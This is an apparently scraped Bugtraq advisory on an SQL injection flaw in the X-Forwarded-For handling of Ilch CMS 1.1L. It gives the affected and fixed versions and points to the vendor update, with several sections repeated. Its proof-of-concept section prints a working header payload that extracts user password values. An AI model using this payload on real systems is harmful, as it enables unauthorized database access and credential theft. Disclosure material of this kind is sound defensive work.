Ilch CMS 'HTTP_X_FORWARDED_FOR' SQL Injection Vulnerability
BID:33665
Info
Ilch CMS 'HTTP_X_FORWARDED_FOR' SQL Injection Vulnerability
| Bugtraq ID: | 33665 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 06 2009 12:00AM |
| Updated: | Feb 09 2009 11:38PM |
| Credit: | Gizmore of wechall.net |
| Vulnerable: |
Ilch Ilch CMS 1.1L |
| Not Vulnerable: |
Ilch Ilch CMS 1.1M |
Discussion
Ilch CMS 'HTTP_X_FORWARDED_FOR' SQL Injection Vulnerability
Ilch CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Ilch CMS 1.1L and prior versions are vulnerable.
Ilch CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Ilch CMS 1.1L and prior versions are vulnerable.
Exploit / POC
Ilch CMS 'HTTP_X_FORWARDED_FOR' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof of concept X-Forward-For header is available:
http://www.example.com', (select `pass` from prefix_user WHERE `id` > 0
ORDER BY `id` LIMIT 1)) /*
Attackers can use a browser to exploit this issue.
The following proof of concept X-Forward-For header is available:
http://www.example.com', (select `pass` from prefix_user WHERE `id` > 0
ORDER BY `id` LIMIT 1)) /*
Solution / Fix
Ilch CMS 'HTTP_X_FORWARDED_FOR' SQL Injection Vulnerability
Solution:
The vendor has released an update. Please see the references for more information.
Solution:
The vendor has released an update. Please see the references for more information.
References
Ilch CMS 'HTTP_X_FORWARDED_FOR' SQL Injection Vulnerability
References:
References:
- Security Update M Release Notes (Ilch)
- Vendor Homepage (Ilch)